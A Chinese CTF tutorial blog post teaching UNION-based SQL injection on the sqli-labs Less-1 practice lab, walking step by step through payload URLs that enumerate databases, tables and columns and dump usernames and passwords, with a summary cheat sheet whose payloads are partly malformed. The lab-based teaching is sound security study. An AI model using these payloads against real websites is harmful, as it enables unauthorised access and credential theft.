CTF系列之Web——联合查询注入

前言

在刚学习SQL注入的过程中非常艰难,查资料的时间有一周这么长,点开的网页也不下一千,认真读的也最少有两百,可是能引导入门的真的没几篇,都是复制来复制去的,没意思,感觉就是在浪费时间。有很多知识点都很,很少能考到一片吧所有知识点总结在一块,最少也要三四个知识点也好呀,可惜太少了,大部分大佬写的都是基于他们现有的技术写的,写的很笼统,不适合新手看。可以发现很多大佬的文章看不懂就是这个原因,没有基础看的很懵的。所以我就想着写两三篇来总结我学习过的SQL注入知识点

学习web系列推荐先学习MySQLHTML这两个知识点,先学会怎么使用先,看文章就会更明白,可以去菜鸟教程学,也可以去bilibil找视频学习。

前文学习
[CTF系列自学篇]一、CTF是什么
[CTF系列自学篇]二、CTF系列之Web——SQL注入

编辑不易,转载请联系说明用途,并标记作者姓名和文章来源!
忘记说明一点,在学习SQL注入的时候记得先学习MYSQL。其实只要大概掌握一门语言,其它的语言都能快速掌握,只需要查询一下大概用法就好了。


SQL注入必知

信息收集

如果是在这里讲解会有许多人听不懂,所以就拿到下面配合例子进行讲解,方便大家理解。对以下的内容不是很懂得可以结合后面的栗子来了解。

MySQL系统函数

这些都是内置函数,可以用来查看信息的。

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

information_schema

这是版本高于5.0才会存在的一个库,可用用来查询库名、表名、列名、用户名、用户权限等等,几乎包括了所有操作。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

MySQL版本区别

后面的所有栗子都当是版本>=5.0来讲解。

Mysql版本<5.0

简单的说,由于mysql的低版本缺乏系统库information_schema,故通常情况下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠猜来解决。

直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据。现在很少存在版本低于5.0,大多都是使用5.4左右的版本,所以不加以讲解,但sql注入大多都是通用的,很容易可以举一反三,所以想了解的可以去详细的查询资料。

Mysql版本>=5.0

此版本既以后的版本都会有一个information_schema,除了特殊的注入方法,其它都可以用这个库来获取库名、表名、列名、用户名、用户权限等等,一般使用这个库的顺序为:查库名->查表名->查字段名->查数据,怎么使用后续会讲,可以参考后面的信息来了解这个库,如果想要详细了解可以自寻查找资料。

显位

还有一个重点就是显位,显位通俗的说就是显示了几位。
在这里插入图片描述

  • select user,pass from main;一般情况下我们都会调取数据库中的账户名和密码进行核对,核对成功后显示出用户名,这就是一个显位(只显示了用户名)。
  • select user,pass from main;还有一种情况下我们是管理员要查询用户的账号和密码,所以会显示账户名和密码,这就是两个显位(显示了用户名和密码)。

环境

后续几章将结合sql-labs靶场来讲解以下几种注入。

此章环境为sql-labs-1


联合查询注入

一、对union的了解

联合查询主要在于关键字unionunion是用于合并两个
union运算符用于合并两个或多个select语句的结果集。

  • union中的每个SELECT语句必须具有相同的列数
  • 这些列还必须具有相似的数据类型
  • 每个select语句中的列也必须具有相同的顺序

什么意思,就是前面和后面的列要相同,如:
select user,pass from main union select user,pass from main_two;

二、判断注入位置

sql-labs-1的页面中我们没有看到有什么登陆框呀搜索栏之类的输入框,那么就有可能是GET中的url或则是POST中的cookie、HTTP头部存在注入点。在测试中我们发现在url输入id=1并没有报错,那url就会存在很大概率是注入点,其实做多了题会很快发现是否存在注入点的。后面会开一章怎么快速分辨是什么题型的章节,且是利用了什么安全知识点。

三、猜测SQL代码

因为不知道库名、表名、列名、显位之类的,那我们就猜测SQL代码
select * from main where id=X;

四、判断类型为数字型或字符型

正文

想了解详细内容可以看前一篇文章中的区分类型
分别输入id=1 id=1' id=1''
结果如下面三幅图,由此可以判断为字符型


SQL代码

此时我们知道了是字符型,那么我们猜测为
select * from main where id='X';

五、爆显位

正文

查询字段数目主要利用MySQL中的order by来判断字段数目,order by一般采用数学中的二分法来判断具体的字段数目。

?id=1order by 1+ 此时页面正常,继续换更大的数字测试
?id=1order by 10+ 此时页面返回错误,更换小的数字测试
?id=1order by 5+ 此时页面依然报错,继续缩小数值测试
?id=1order by 3+ 此时页面返回正常,更换大的数字测试
?id=1order by 4+ 此时页面返回错误,3正常,4错误,说明字段数目就是 3



但是这样子我们只能知道有多少位,但是不知道有多少位显示出来,为了信息收集,我们需要知道当前这个页面里面的值,调用的时候需要具体到那个数据库中的那个表的哪个字段,所以故意够着一个错误的语句,来爆出错误的字段:(三种方法

以下采用的是第二种方法,因为部分图片是从印象笔记copy的,不想在截图了,但推荐使用第一种,

id=-1UNION SELECT 1,2,3+ 通过id=-1 一个负数不存在的id值来触发报错
id=1and 1=2 UNION SELECT 1,2,3+ 通过and 1=2 语句来触发报错
id=1or 1=1 UNION SELECT 1,2,3+ 通过or 1=1 语句来触发报错

SQL代码

由上得到了查询三个数据但是只显示了两个数据,我们可以把这种情况认为是三个输出点两个显位,由于不知道他要查询的是什么内容,所以我们就用平常搭建登录页面时会访问的几个数据中来代替,后续再知道内容后将它替换
select phone,username,password from main where id='X';
这里我们将它username和password当做两个显位,虽然不符合规定,但为了大家了解,所以顺序就不做修改,因为这里还有一个重要的知识点,顺序问题,在总结中会讲解。

六、爆数据库

方法一

函数讲解
version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

在上面我们看到了收集信息的函数,以免大家翻上翻下麻烦,这里直接复制下来。
下面这张图就能说明一切,我们在使用a这个库后用select databae()来查看当前的库名,你看,可以发现可以查询出来且查询内容正确,所以在SQL注入中我们可以充分利用这些函数来获取我们想要的内容。

正文

由上面爆显位我们可以得知http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,3--+是能成功运行,且2和3都是可以显示出来的,那么我们是不是可以把其中一个代替掉

payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,database() --+

在这里插入图片描述
由上可知我们可以用其它来代替**database()来查询想要的信息,那也可以用version(),user()**来查看需要查看的信息。

方法二

information_schema库中表讲解

这个内容太大了,就不把上面的信息(详细)copy一遍了,而且copy一般也没有意义。

information_schema库也可以理解成信息库,一个可以反问元数据的库。元数据是关于数据的数据,就是库名或表名,列的数据类型,或访问权限等。
在下图可以看见数据库,会自带一个information_schema库

这张图可以看见有许多的表,表的具体作用在上面的信息收集中有写出来,可以参考一下。
其中比较常用的是scheamta、tables、columns、startistics、table_constraints、key_column_usage等表。详细可以参考information_schema数据库详解,如果需要,我也可以写一篇详细的讲解一下这个库。

在这里插入图片描述

information_schema表内容
1、schemata

提供数据库信息,有哪些数据库,字符集是GBK还是UTF-8等等。常用字段:

字段名含义                    
SCHEMA_NAME数据库名
DEFAULT_CHARACTER_SET_NAME字符集
DEFAULT_COLLATION_NAME排序规则

等同命令为show databases;

2、tables

提供表的信息,数据库有哪些表,是什么存储引擎等等。常用字段:

字段名含义                    
TABLE_SCHEMA数据库名
TABLE_NAME表名
TABLE_TYPE表的类型
ENGINE存储引擎
CREATE_TIME建表时间

等同命令为show tables;

3、columns

提供字段的信息,有哪些字段字段类型是什么等等。常用字段:

字段名含义                    
TABLE_SCHEMA数据库名
TABLE_NAME表名
COLUMN_NAME字段名
COLUMN_TYPE字段类型

等同命令为show columns;或则是desc tctest.emp看emp表的具体字段。

其他的表在注入的过程中很少用到,如果想知道详细的可以自行查询。

information_schema常用的表和字段
schemata 				提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
tables					提供了关于数据库中的表的信息(包括视图)。是所有关于表的信息。
columns 				提供了表中的列信息。
字段

此字段不一定是中的字段,所以不要搞混,只是不知道标题怎么起。其中有些表的字段功能相同,但是就是名字不同而已,可能会有许多人想为什么是相同功能,那不就重复出现了吗,浪费。其实不是这样的,因为我们读取数据都是在一个表里面读取的,所以这些重复的字段反而让我们在使用中更加方便。

schemata表
information_schema.schema			information_schema中的schema表
schema_name 						schema表中的字段,用来获取所有库的表名

tables表
information_schema.tables			information_schema中的tables表
table_schema						等同于schema_name,只不过是tables中的字段名不一样而已
table_name							X库的所有表名

columns表
schema_name							数据库名
table_name							表名
column_name							列名		
group_concat讲解

我们在mysql中查询多个数据的时候他是多行的,在上面讲过只有两个显位,不像方法一直接利用函数来获取库,使用information_schema库我们可以从中获取其他所有的库名

可是那么多库名不可能一次性全部输出呀,只有两个显位且我们只是用其中一个,但也不能想数组a[1]这样一个一个读取吧,鬼知道有多少个库呀,要是上万个那要读取到明年呀!我们就像个办法,我们可以把他所有的库名连接在一起,变成一个字符串,那不就可以只使用一个显位读取所有的库名了吗。

我们想到了用concat函数,以下是栗子。

这里就会有人有疑惑了,这样子也不是一个字符串呀,这样子也解决不了变成字符串呀,对的,所以我们最终找到了group_concat函数,举个栗子。

以上可以发现group_concat可以不仅简单,且能把所有东西变成一条字符串,所以我们就是用group_concat函数来获取数据。
详细可以参考:
mysql中函数CONCAT及GROUP_CONCAT的使用
MySQL 手工注入之常见字符串函数

正文

方法一中我们将http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,3--+中的3替换成database(),那么我们还可以将它替换成group_concat(schema_name) from information_schema.schemata--+,意思是什么就是从information_schemaschemata表中的schema_name字段的数据打包成一个字符串并输出。

这里可能会有人不知道为什么是information_schema.schemata而不是information_schema
因为我需要查询的字段是在表里,而不是在库里,只有表中才有字段。

payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

在这里插入图片描述

总结

通过方法一可以直接得知当前使用的数据库名为security,而在方法二得到的数据库比较多,不太可能一个一个去判断,所有我们一般使用方法一 + 方法二,为什么呢?

因为单独使用方法一只能获取一个库名,如果我们的其它库名中有更重要的信息呢。
如果单独使用方法二,我们确实获得了很多库名,可是不能确定那个是我们需要的库名呀。
所以两个结合才是最好的,如果是单独求当前库名,就只采用方法一就好了。

SQL代码

此时猜测的代码为:
select phone,username,password from main where id='X';

七、爆XX数据库的表

疑问

根据以上的爆数据库我们就知道有两种方法可以爆库,可是爆表就没有特殊的函数来获取表的信息了,所以我们就是用以上的方法二中的information_schema库,那么很多人就会有疑问了,上面为了在多个库名中获得想要的库名而在使用方法一,那这里就不会出现这种情况吗?

这里我们正好需要的是所有的表名。大家在学习mysql的过程中肯定了解过怎么获取信息

  1. 使用show databases;获取所有的库名。
  2. 使用use XX;来进入XX库。
  3. 使用show tables;来获取当前库中所有的表。
  4. 使用select * from main;来获取信息。

从以上可以发现进入库和进入表的方式是不同的,进入库是需要use XX;,但进入表则不需要使用use,而是直接查询。所以这里可以很清楚的看到有明显的的区别,就算有函数可以获取表也获取不到,为什么呢? 因为你根本确定不了是哪个,在进行读取结束后你就不知道那个是你需要的了,所以需要通过笨办法来判断表,就是一个一个判断。但是知道了库名,我们就可以使用where语句来排除其他表格了。

正文

既然我们知道了库名security,根据爆库名的第二个方法,我们要从tables表中获取字段table_name,既security库中所有的表。

payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables --+

可是我们已经知道了库名security,那么我们就可以用where来排除其他不需要的表。

payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
或则
http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

在这里插入图片描述

SQL代码

此时猜测的代码为:
select phone,username,password from users where id='X';

八、爆列名

正文

根据上面的爆库名爆表名的操作就能知道这里的也差不多,将tables的字段替换成column字段。由于爆表名中出现的表看英文我们更倾向于users,所以下面就会查询users的字段名

payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+    

在这里插入图片描述

SQL代码

此时猜测的代码为:
select id,username,password from users where id='X';

九、爆数据

根据上面的操作我们现在确定了库名、表名、列名,剩下的只有数据了。
因为没有特殊的要求,所以where语句就没有必要出现,此时的SQL代码变成了select id,username,password from users;

payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(id,username,password) from users--+

在这里插入图片描述
此时我们将得到我们需要的数据,至此整个联合查询注入就完成了,是不是很简单呀!!!


简单的整理一下思路

order by X --+ 判断字段的数量
union select X,X,X --+ 判断显位
-1’ union select 1,2,database(); --+ 查询当前数据库
-1’ union select 1,2,select group_concat(table_name) from information_schema.tables where table_schema = database(); --+ 查询当前数据库中的表名
-1’ union select 1,2,select group _concat(column_name) from information_schema.columns where table_name = X --+ 查询当前表的所有列名
-1’ union select 1,2,select group_concat(XX,XX,XX) from XX --+ 查询数据

非常重要的重点

一个个人觉得非常棒的一题bugku-这是一个神奇的登录框,不管是从手工注入还是利用sqlmap进行注入,都是值得拿出来讲的一题。
手工注入参考:这是一个神奇的对话框
sqlmap参考:Bugku-CTF之这是一个神奇的登陆框
这里不讲sqlmap,将手工注入的一个问题。

在我们这一章的例子中可以发现,在爆显位的时候发现只有2和3才能显示出来,那么我们选择了3,如果我们选择了2呢,不一样吗?一样的,但是写法就不太一样了,而且要注意小细节

爆库名

3payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1' union select 1,2,database() --+

2payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1' union select 1,database(),3 --+


结果是一样。可是下面就不一样了,仔细看。

爆表名

3payload

http://127.0.0.1/sqli-labs/Less-1/index.php?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

到这里是不是觉得2payload应该是:

http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security',3 --+


如上图,可以看出是会报错的,为什么呢,这就是我想要讲的重点了,这就考验对MySQL掌握程度了。

解读

按照我么常规查询方式应该是这样的(例子,以下都是对此例基础上进行修改):

我们加以修改,此时我们加上对information_schema库的使用,可以看到group_concat(table_name) from information_schema.tables where table_schema = 'user';(以下简略为use tables)是放在2的位置上的,而数字2去掉。

根据下图的输出结果可以知道group_concat这个函数其实是个输出结果的函数,可以把它理解为其它语言中的print(),只是作用不同。

既然知道了group_concat是可以输出结果的,那我们是不是可以把1替换掉,替换成group_concat(table_name),结果如下,发现是可行的。

这是有人就会有疑问了,为什么那个2还在那里,删掉不行吗?那我们就把他删了:

可以看到报错了,为什么呢?因为只要你占领了这个字段,你就必须要输出内容,什么内容无所谓,但一定要有。

重点在于看准逗号,你加了逗号代表了后面也是个输出对象,可是你逗号后面是formform不是个可以输出的内容呀,因为在MySQL中对于数字和英文是有区别的,英文会被认为是表中的字段。如果是加上''这个符号那就可以当成普通的字段,而不是表中的字段

那如果把2放在最后会是什么结果呢。

你见过字段跑的跑到最后的吗,那结果不就变成了select 1 from main ,2,这样子怎么可能会有内容输出呢!


总结

SQL注入其实就是基于MySQL的了解,而且注入的套路都是相同的,我在写这篇文章的时候差不多已经忘记注入的公式了,做题都要翻看以前的笔记。但写到这里,我现在已经记得滚瓜烂熟,说明:看的文章越多,打的代码越多,你记得就越熟。还是重复一点,不管什么情况,勤劳总是没错的。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值